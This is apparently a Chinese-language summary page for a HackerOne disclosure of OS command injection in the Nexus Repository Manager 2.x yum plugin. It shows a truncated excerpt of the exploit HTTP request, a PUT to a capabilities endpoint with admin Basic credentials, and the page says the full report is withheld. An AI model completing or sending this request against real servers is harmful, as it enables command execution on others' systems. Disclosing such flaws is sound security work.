OS Command Injection in Nexus Repository Manager 2.x
该报告还没有中文解读。
原文摘录
摘自原文（1993 字符中的一小部分）
Maven artifact **groupId:** org.sonatype.nexus.plugins **artifactId:** nexus-yum-repository-plugin **version:** 2.14.9-01
原文中的代码
PUT /nexus/service/siesta/capabilities/000013ea3743a556 HTTP/1.1 Host: HOST:PORT Accept: application/json Authorization: Basic YWRtaW46YWRtaW4xMjM= Content-Type: application/xml Content-Length: 333 Connection: close <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <ns2:capability …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Central Security Project 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @christianaugust · 版权归作者与 Central Security Project 所有